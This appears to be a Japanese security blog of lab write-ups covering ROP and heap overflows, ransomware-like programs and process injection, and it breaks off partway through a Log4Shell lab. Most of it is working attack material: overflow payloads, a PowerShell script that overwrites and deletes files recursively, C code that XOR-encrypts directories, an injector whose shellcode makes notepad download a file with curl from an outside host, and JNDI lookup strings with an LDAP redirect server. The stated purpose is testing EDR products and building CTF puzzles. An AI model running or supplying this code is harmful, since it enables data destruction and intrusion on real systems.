Return oriented Programing 検証

ROP検証 以下の環境、コードで検証

■環境
・Ubuntu2204
・gccの32ビットコンパイルのため以下をインストール
 sudo apt install libc6-dev-i386
・コンパイル
 gcc -m32 -fno-stack-protector -z execstack rop.c -o rop.out
・gdbによる分析

  1. gdb rop.out
  2. run 123 一度実行しておく
  3. disas main ➡vulnerable関数終了後の実行アドレスを確認しておく
  4. disas vulnerable ➡strcpy関数終了後の次の実行アドレスを確認しBreakポイントにする
  5. b *0x5555555551fa
  6. run 11111111112222222222333333333344 ➡32バイトを超えるとエラーになることがわかる。
  7. run 111111111122222222223333333333445555 
    ➡info frameでリターンアドレスであるsaved eipが32バイトあとの4バイトであることを突き止める
  8. rop1,rop2,rop3の関数を確認する
    p rop1 ➡0x5655620d
    p rop2 ➡0x5655623c
    p rop3 ➡0x5655626b
  9. 攻撃ペイロードの構築
    ./rop.out $(python -c ‘print(“A”*32 + “\x3c\x62\x55\x56\x6b\x62\x55\x56”)’)

    ★これを実行するとrop2,rop3が実行される。
    rop1はアドレスに0dが入っているため、データ入力の際に改行と判断されてしまい、うまく注入できなかったのでrop2,rop3を呼び出した。

※Windowsだと
 rop1 0x401410
 rop2 0x401425
 rop3 0x40143a
WindowsだとPythonのPrint関数を使ってデータを送り込めないのでファイルを読み込む方式に変更。rop1は呼び出せたが、アドレスが00が入るので続いてrop2,rop3を呼べなかった。

#include <stdio.h>
#include <string.h>

void rop1() 
{
    printf("ROP 1!\n");
}

void rop2() {
    printf("ROP 2!\n");
}

void rop3() {
    printf("ROP 3!\n");
}

void vulnerable(char* string) 
{
    char buffer[20];
    strcpy(buffer, string);
}

int main(int argc, char** argv) 
{
    vulnerable(argv[1]);
    printf(argv[1]);
    return 0;
}

疑似Ransomware2

指定したディレクトリにあるファイルの拡張子を変更、ランダムなデータを追加し、削除するプログラム。AntiRansomewareの検証用に作成しました。

まずはPowershellで作成

function RenameandEnc($targetFolder){
 # 指定したフォルダ内のすべてのファイルを再帰的に取得します。
 $files = Get-ChildItem -Path $targetFolder -File -Recurse

 # ファイルごとに処理を行います。
 foreach ($file in $files) {
  if ($file.Name -ne "ransom.exe") {
     # ランダムな100バイトのデータを生成します。
     $randomData = [byte[]]::new(100)
     [System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($randomData)

     # ファイルの拡張子を.encに変更します。
     $newExtension = ".enc"
     $newFileName = $file.FullName + $newExtension
     Rename-Item -Path $file.FullName -NewName $newFileName

     # ファイルにランダムなデータを追加します。
     [System.IO.File]::WriteAllBytes($newFileName, $randomData)
  }
 }
}

function DeleteFile($DeleteFolder){
 # 指定したフォルダ内のすべてのファイルを再帰的に取得します。
 $dfiles = Get-ChildItem -Path $DeleteFolder -File -Recurse

 # ファイルごとに処理を行います。
 foreach ($dfile in $dfiles) {
  if ($dfile.Name -ne "ransom.exe") {
     # ファイルを削除します。
     Remove-Item -Path $dfile.FullName
  }
 }
}

# スクリプト実行時に引数からフォルダのパスを取得します。
if ($args.Count -ne 2) {
    Write-Host "Usage: program.exe directory1 directory2"
    exit
}

# 変更したいフォルダのパスを指定します。
$targetFolder1 = $args[0]
$targetFolder2 = $args[1]

RenameandEnc $targetFolder1
Start-Sleep 5
DeleteFile $targetFolder1

RenameandEnc $targetFolder2
DeleteFile $targetFolder2

Write-Host "finish"

次にPowershellからEXE形式に変換

上記Powershellプログラムをps2exeでexe形式に変換。
 ※ps2exeのインストール方法:PS>Install-Module ps2exe

ps2exe .\powershell.ps1 ./ransom.exe

このプログラムの動作は以下。
1.ransom.exeを任意のフォルダに保存します。
2.このプログラムは、「ransom.exe ディレクトリ1 ディレクトリ2」
  と2つのディレクトリを引数に指定します。(コマンドプロンプトで実行する)
3.最初のディレクトリ1にあるファイルを再帰的に検索し、拡張子をencに変更、ランダムなデータを追加し、5秒間Sleepします。その後、ディレクトリ1にあるファイルを全て削除します。
4.次にディレクトリ2にあるファイルを同じく再帰的に検索し、拡張子をencに変更、ランダムなデータを追加後、すぐにディレクトリ2にあるファイルを全て削除します。

CheckpointのHarmony EndPointで検証した場合、ディレクトリ1にDesktopファルダ、ディレクトリ2にuserフォルダを指定すると、4に入ったあたりでAntiRansomeware機能が発動します。視覚的にはデスクトップ上のファイルの拡張子が変更され、5秒後に削除された後、Harmony EndPointの機能で検知、ファイルが復元されるので動きとして見やすいでしょう。

その他

当初、C言語で同様のプログラムを作成しようと思いましたが、以下の理由でうまくいきませんでした。
・ファイルを再帰的に検索する際に、途中で検索が止まってしまう(おそらく再帰呼出しによるスタックメモリの枯渇)
PythonやPowershellだとファイルの検索が簡単にできたのでPowershellで作成後、EXE化することにしました。

ヒープ・オーバフロー検証

以下のサイトを参考に検証を実施した。
https://samsclass.info/127/proj/p7-heap0.htm
※ソースコードはほぼ同じ(data構造体のnameデータサイズを64から8にして検証)

■準備
・gccで32bitでコンパイルするため以下のパッケージをインストールする。
 「sudo apt-get install libc6-dev-i386」
・32bitコンパイル方法
 「gcc -m32 heap0.c -o heap0」

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
 char name[8];
};

struct fp {
 int (*fp)();
};

void winner()
{
 printf("level passed\n");
}

void nowinner()
{
 printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
 struct data *d;
 struct fp *f;

 d = malloc(sizeof(struct data));
 f = malloc(sizeof(struct fp));
 f->fp = nowinner;

 printf("data is at %p, fp is at %p\n", d, f);

 strcpy(d->name, argv[1]);

 f->fp();

}

■heap-overflow手順(関数ポインタを書き換え)
 ※64ビットだとうまくいかなったので32ビットで検証

1.gdbでwinner,nowinnerのアドレスを確認
 一度、runしておく。その後に「info functions」でアドレスを確認する。
 ※もしくは「disas winner」で先頭のアドレスを確認する。

2.関数ポインタが呼ばれる前の命令アドレスにBreakPointを設定する。
 「break *0x5655630f」

 「run 1111」を実行する。設定したbreakpointで停止するので以下のコマンドでheap領域のスタートアドレスを確認する。
 「info proc map」→heapと書かれたアドレス帯がheap領域(0x5655a000-0x5657c000)

3.ヒープ領域の確認
 「x/120x 0xヒープ先頭アドレス」で自分が入力した値(31313131)のどれくらい後にnowinnerのアドレス(5655625c)があるか確認する。
 ※8バイトmallocする場合は16バイトあとに関数ポインタ(nowinnerのアドレス)があった。

4.heap overflowの実行
 gdbを抜けて、以下のコマンドでオーバーフローさせ、nowinnerのアドレスをwinnerに書き換える。
 ※最後の4バイトがwinnerのアドレス
 「./heap0 $(python3 -c ‘print(“A”*16+”\x2d\x62\x55\x56”)’)」

疑似Ransomwareプログラム

EDR検証用に指定したフォルダにあるファイルをXOR暗号化するプログラム。XORだけの場合、暗号化後のバイト数に変化がないため、10000バイト意味のないデータを付加している。

暗号化プログラム xor_enc.c
使用例)
引数に暗号化したいディレクトリを複数指定可能。暗号化後のファイル拡張子は元の拡張子に.encryptedと付加する。
 xor_enc.exe ./tmp1 ./tmp2 ./tmp3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <dirent.h>
 
#define key 1234
 
int main(int argc, char *argv[])
{
    DIR *dir;
    struct dirent *dp;
    char path[512];
    char newfile[512];

    FILE *file;
    int size;
    
    //書き込むデータ
    char* rdata;

    int n;

    for ( n=1; n < argc; n++) {

    	dir = opendir(argv[n]);
    	if (dir == NULL) { return 1; }

    	dp = readdir(dir);

    	while (dp != NULL) {
 
		strcpy(path, "");
 		strcat(path,argv[n]);
		strcat(path,"/");
		strcat(path,dp->d_name);

		printf("path=%s\n", path);
        
		//ファイル読み込み
		file = fopen( path ,"rb");

    		if (file != NULL) {
        		//ファイルの最後までシーク
        		fseek(file, 0, SEEK_END);
 
	       		//ファイルの大きさを取得
        		size = ftell(file);
 
	       		//メモリのサイズだけ、配列を動的に生成
        		rdata = (char*)malloc(sizeof(char)*size+10000);

        		//ポインタを戻す
        		fseek(file,0,SEEK_SET);

        		fread(rdata, sizeof(char), size, file );
        		fclose(file);
    		}
 
    		//ファイルへ書き出し
		file = fopen( path ,"wb");

    		if (file != NULL) {
        		for (int i=0; i < size+10000; i++) {
            			// XOR演算
            			fprintf(file, "%c", (char)(rdata[i] ^ key));
       			}

        		fclose(file);

			strcpy(newfile, "");

			//ファイル名変更
			if(strstr(path, ".encrypted") == NULL) {
				strcat(newfile,path);
				strcat(newfile,".encrypted");
				strcat(newfile,"\0");
				rename( path, newfile);
			}

    		}
    		//メモリ解放
    		free(rdata);

        	dp = readdir(dir);
    	}
    }

}

復号化プログラム xor_dec.c
使用例)
引数に復号化したいディレクトリを複数指定可能。ファイル拡張子は元の拡張子に戻す。
 xor_dec.exe ./tmp1 ./tmp2 ./tmp3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <dirent.h>

#define key 1234
 
int main(int argc, char *argv[])
{
    DIR *dir;
    struct dirent *dp;
    char path[512];
    char newfile[512];
    char newfile2[512];

    FILE *file;
    int size;
    
    //書き込むデータ
    char* rdata;

    int n;

    for ( n=1; n < argc; n++) {

    	dir = opendir(argv[n]);
   	 if (dir == NULL) { return 1; }

    	dp = readdir(dir);

   	 while (dp != NULL) {
 
		strcpy(path, "");
 		strcat(path,argv[n]);
		strcat(path,"/");
		strcat(path,dp->d_name);

		printf("path=%s\n", path);
        
		//ファイル読み込み
		file = fopen( path ,"rb");

    		if (file != NULL) {
        		//ファイルの最後までシーク
        		fseek(file, 0, SEEK_END);
 
	       		//ファイルの大きさを取得
        		size = ftell(file);
 
	       		//メモリのサイズだけ、配列を動的に生成
        		rdata = (char*)malloc(sizeof(char)*size);

        		//ポインタを戻す
        		fseek(file,0,SEEK_SET);

        		fread(rdata, sizeof(char), size, file );
        		fclose(file);
    		}
 
    		//ファイルへ書き出し
		file = fopen( path ,"wb");

    		if (file != NULL) {

			if(strstr(path, ".encrypted") != NULL) {

        			for (int i=0; i < size-10000; i++) {
            				// XOR演算
            				fprintf(file, "%c", (char)(rdata[i] ^ key));
       				}

        			fclose(file);

				strcpy(newfile, "");
				strcpy(newfile2, "");

				//ファイル名変更
		
				strcat(newfile,path);
				int j = strlen(newfile)-10;
				strncpy(newfile2,newfile,j);
				newfile2[j]= NULL;

				if(rename( path, newfile2) !=0){
					fputs( "Error Rename \n", stderr );
				}	
		
			}

    		}
    		//メモリ解放
    		free(rdata);

        	dp = readdir(dir);
    	}
    }
}

Code Injection for Win10(64bit)

Windows10(64bit)におけるCode Injection検証。
プログラムの動作としては以下となる。
・CreateProcessでnotepad.exeを起動
・OpenProcessで起動したnotepad.exeのプロセスにAttachし、VirtualAllocExでShellcode注入に必要なメモリ領域の確保と先頭アドレスを取得
・確保したメモリ領域にWriteProcessMemoryでShellcodeを注入
・注入したShellcodeの先頭アドレスからプログラムを実行するThreadをCreateRemoteThreadで生成してShellcodeを実行
・コンパイルはVisualStudio2022の「x64 Native Tools Command Prompt for VS 2022」のclコマンドで実施

/* injector.c */
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
 
    int pid;
    int written;
    unsigned long thread_id;

char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\xff\x6f\x20\x61\x61\x2e\x7a\x69\x48\xc1\xe8\x08\x50\x48\xb8\x61\x72\x2e\x7a\x69\x70\x20\x2d\x50\x48\xb8\x2e\x63\x6f\x6d\x2f\x65\x69\x63\x50\x48\xb8\x73\x61\x6e\x61\x6c\x79\x73\x74\x50\x48\xb8\x77\x77\x77\x2e\x76\x69\x72\x75\x50\x48\xb8\x20\x68\x74\x74\x70\x3a\x2f\x2f\x50\x48\xb8\x63\x75\x72\x6c\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6";

    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi ;

    CreateProcess(NULL,"C:\\Windows\\System32\\notepad.exe",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
    pid = pi.dwProcessId;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    void *datamemory = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, datamemory, shellcode, strlen(shellcode), &written);

    HMODULE kernel32 = GetModuleHandle("kernel32");
    FARPROC loadlibrary = GetProcAddress(kernel32, "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, datamemory, NULL, 0, &thread_id);
    if (!hThread) {
        /* 32 bit (WOW64) -> 64 bit (Native) won't work */
        char errmsg[512];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errmsg, strlen(errmsg), NULL);
        printf("%hs", errmsg);
        return 1;
    }
    WaitForSingleObject(hThread, INFINITE);

    //CloseHandle(hThread);
    //VirtualFreeEx(hProcess, datamemory, strlen(shellcode), MEM_RELEASE);

    return 0;
}

注入するShellcodeは以下(参考サイト:https://www.exploit-db.com/shellcodes/49819)
このコードはWinExecにより任意のプログラムを実行する。
今回は以下のコマンドを実行するシェルコードとした。
「curl.exe http://www.virusanalyst.com/eicar.zip -o aa.zi」

xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov gs:rbx, [rax+0x60]  ; RBX = Address_of_PEB; 削除する
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack 
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API 
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address

; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "curl.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x697A2E6161206FFF ; iz.aa o
shr rax, 0x8
push rax
mov rax, 0x2D2070697A2E7261 ;- piz.ra
push rax
mov rax, 0x6369652F6D6F632E ;cie/moc.
push rax
mov rax, 0x7473796C616E6173 ;tsylanas
push rax
mov rax, 0x757269762E777777 ;uriv.www
push rax
mov rax, 0x2F2F3A7074746820 ;//:ptth 
push rax
mov rax, 0x6578652E6C727563 ;exe.lruc
push rax                   ; RSP = "curl.exe",0x0
mov rcx, rsp                ; RCX = "curl.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("curl.exe", SW_HIDE)

このアセンブラコードを以下のnasmでシェルコード化する。

nasm -f win64 test.asm -o test.o

for i in $(objdump -D test.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done

アセンブラコードの3行目「mov gs:rbx, [rax+0x60]」はgsがあるとnasmでエラーが出たため、実際は「gs:」を削除してシェルコード化した。元のコードと比較すると、シェルコードの6コードの後に「x65」がないのが判明したため、追加した。

\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\xff\x6f\x20\x61\x61\x2e\x7a\x69\x48\xc1\xe8\x08\x50\x48\xb8\x61\x72\x2e\x7a\x69\x70\x20\x2d\x50\x48\xb8\x2e\x63\x6f\x6d\x2f\x65\x69\x63\x50\x48\xb8\x73\x61\x6e\x61\x6c\x79\x73\x74\x50\x48\xb8\x77\x77\x77\x2e\x76\x69\x72\x75\x50\x48\xb8\x20\x68\x74\x74\x70\x3a\x2f\x2f\x50\x48\xb8\x63\x75\x72\x6c\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6

シェルコードを作成するにあたり、以下のところでとまどった。
・参考にしたサイトのシェルコードはcalc.exeを実行するものであり、コピペするだけでうまくいった。
・次に、calc.exeではなく、curl.exeで任意のサイトを指定してファイルをダウンロードさせたいと考え、シェルコードを書き換えたがうまくいかなかった。
・文字の終端を示すNull文字がうまく入っていないと考え、下記に示すようにコマンドの最後にシフト演算(shr)でNull文字を加えたところ、curlコマンドが実行された。

push rax                    ; Null terminate string on stack
mov rax, 0x697A2E6161206FFF ; iz.aa o
shr rax, 0x8
push rax

もとのサンプルでは直前の「push rax」でスタック上にNullが入っているのでcalc.exeは実行できたと考えていたので、特にNull文字は必要ないと考えていた。今回、なぜNull文字を1バイト追加したことでうまくシェルコードが実行できたかがまだ理解できていない。(calc.exeが実行できていたのに、なぜか?)

このプログラムを用いたCTF問題のストーリーは以下が考えられる。

1.内部から不審な外部のサイトとのhttp通信が発生したことをUTMで検知した。対象のPCのメモリダンプを取得し、外部と通信していたプログラムを答えよ
2.外部と通信していたプログラム(curl.exe)はどのプロセスから起動されたか?
 (答えはnotepad.exe)
3.notepad.exeを調べると正常なプログラムであることが判明した。そのため、他のプログラムがnotepadを利用したCode-injectionを行ったと考える。notepad.exeを利用したプログラム名を答えよ。
4.悪意あるプログラムを補足した。このプログラムを解析し、ダウンロードしようとしたファイル名を答えよ。

Log4j2脆弱性検証~Tomcat版~

Log4j脆弱性検証 Tomcat版

■Log4j脆弱性検証を以下の環境で行う。
1.ターゲットサーバ
 Windows10+Tomcat9.0.56+log4j2.14.1+Java SE Development Kit 15.0.1
2.LDAPサーバ
 marshalsecで構築
3.Java送信サーバ
 python3のhttp.serverで構築

■脆弱性検証フロー
1.ターゲットサーバにアクセスし以下の文字列を送り込む。 
 ”${jndi:ldap://127.0.0.1:1389/Exploit}”
 この文字列はLog4jのLookup機能によりただの文字列ではなく、外部へのldap接続がするよう解釈され、ldap接続が開始される。

2.ldapサーバは接続されると、ターゲットサーバに対して送り込むJavaプログラムが置いてあるWebサーバのURLを返す。

3.ターゲットサーバはldapサーバから指示されたURLへ接続し該当のJavaファイルを取得、ターゲットサーバ上で実行してしまう。

今回は、ターゲットサーバに送り込むJavaプログラムは電卓プログラムを起動するように作成しておく。成功すると電卓プログラムがターゲットサーバ上で起動される。

■ターゲットサーバのインストール 
<Tomcatインストール>
1.Tomcatダウンロード
 https://tomcat.apache.org/ 
 9.0.56をダウンロード:64-bit Windows.zip
2.インストール
 Cドライブ直下にtomcat9ディレクトリを作成し、ダウンロードしたファイルを展開。
 ※展開したファイルがtomcat9直下にあること(展開用のディレクトリなど削除)
3.システム環境変数の登録
 JAVA_HOME → C:\Program Files\Java\jdk-15.0.1
 CATALINA_HOME → C:\tomcat9
 CATALINA_OPTS → -Dcom.sun.jndi.ldap.object.trustURLCodebase=true

★Javaのバージョンが「6u211, 7u201, 8u191, and 11.0.1」より上だとデフォルトで「com.sun.jndi.ldap.object.trustURLCodebase=false」
になっている。そのため、攻撃コードを入力すると、LDAP接続までは行われるが、LDAPサーバから返されたリダイレクト先への接続は実行されない。リダイレクト先に接続させるには、CATALINA_OPTS環境変数で起動時に「com.sun.jndi.ldap.object.trustURLCodebase」が「true」になるよう定義する必要がある。


ちなみに、中国人ハッカーのサイトでは通常のJavaアプリとしてMain関数の中で以下のように設定していたが、Tomcatではサーブレットに記載しても有効にならなかった。
「System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”,”true”);」

Javaバージョンに関する参照URL:
 https://www.lunasec.io/docs/blog/log4j-zero-day/
該当の原文:
 JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector.In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

4.Tomcat起動
 tomcat9\binフォルダにあるstartup.batを実行
 localhost:8080にアクセスして表示されることを確認
5.Webアプリケーションの準備
 ・c:\tomcat9\webappsにtestlog4jフォルダを作成
 ・testlog4jフォルダにWEB-INFディレクトリを作成
 ・WEB-INFディレクトリにlibとclassesフォルダを作成
6.Log4jのダウンロード
 https://archive.apache.org/dist/logging/log4j/ から脆弱性のあるバージョン2.14.1をダウンロードする。そのうちの以下ファイルをC:\tomcat9\webapps\testlog4j\WEB-INF\lib にコピーする。
・log4j-api-2.14.1.jar
・log4j-core-2.14.1.jar
・log4j-web-2.14.1.jar
7.Webアプリケーションの配備
 ・classesフォルダにTestLog4j.javaを作成(後述)
 ・TestLog4j.javaを以下のコマンドでコンパイル

cd c:\tomcat9\webapps\testlog4j\WEB-INF\classes

javac -classpath C:\tomcat9\lib\servlet-api.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-core-2.14.1.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-api-2.14.1.jar;C:\tomcat9\webapps\testlog4j\WEB-INF\lib\log4j-web-2.14.1.jar TestLog4j.java

 ・WEB-INFディレクトリにweb.xml、log4j2.xmlを配置する。

<Java実行ファイルを置くHTTPサーバの用意>
1.任意のフォルダにExploit.javaを設置
2.Exploit.javaのコンパイル
  javac Exploit.java
3.フォルダ上でpythonによる簡易サーバ起動
  python3 -m http.server 8888

<ldapサーバの用意>
 攻撃が成功した際に接続させるldapサーバをJavaで用意する。

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

※ldapサーバからのレスポンスとしてhttp://127.0.0.1:8888/#Exploitにリダイレクトさせる設定

ldapサーバの待ち受けポートは今回1389番ポートだが、「marshalsec\src\main\java\marshalsec\jndi」フォルダにある「LDAPRefServer.java」ファイルのport変数で番号を変えて再度mvnコマンドでコンパイルすれば任意のポートで待ち受けることができる。

<試験>
 http://localhost:8080/testlog4j/servlet/testlog4jにアクセスし、Usernameに”${jndi:ldap://127.0.0.1:1389/Exploit}”を入力すると電卓が起動されることを確認する。

■ファイル

TestLog4j.java 
 Usernameに入力した文字がlogger.errorによりログとして記録される。
 Usernameとして”${jndi:ldap://127.0.0.1:1389/Exploit}”を入力すると脆弱性が発動する。

import java.io.*;
import java.net.*;
import javax.servlet.*;
import javax.servlet.http.*;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TestLog4j extends HttpServlet {
private static final long serialVersionUID = 1L;

private static final Logger logger = LogManager.getLogger(TestLog4j.class);


 public void doGet(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException
    {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html>");
        out.println("<head>");
        out.println("<title>Login Example</title>");
        out.println("</head>");
        out.println("<body>");
        out.println("<h3>Login Example</h3>");

        String id = request.getParameter("username");
        String pass = request.getParameter("password");

        if ( id.equals("user1") && pass.equals("user1pass")) {
            out.println("Login Success!");
            logger.error("login success id = " + id);
        } else if ( id.equals("") && pass.equals("")) {
            out.println("Please Login");
        } else {
            out.println("Login Fail..");
            logger.error("login fail id = " + id);
        }
        out.println("<P>");
        out.print("<form action=\"");
        out.print("testlog4j\" ");
        out.println("method=POST>");
        out.println("Username:");
        out.println("<input type=text size=20 name=username>");
        out.println("<br>");
        out.println("Password:");
        out.println("<input type=text size=20 name=password>");
        out.println("<br>");
        out.println("<input type=submit>");
        out.println("</form>");
        out.println("</body>");
        out.println("</html>");
    }

    public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException
    {
        doGet(request, response);
    }
}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
  http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <servlet>
    <servlet-name>TestLog4j</servlet-name>
    <servlet-class>TestLog4j</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>
      TestLog4j
    </servlet-name>
    <url-pattern>
      /servlet/testlog4j
    </url-pattern>
  </servlet-mapping>

</web-app>

log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
</Configuration>

Exploit.java

public class Exploit {
    public Exploit() {}
    static {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
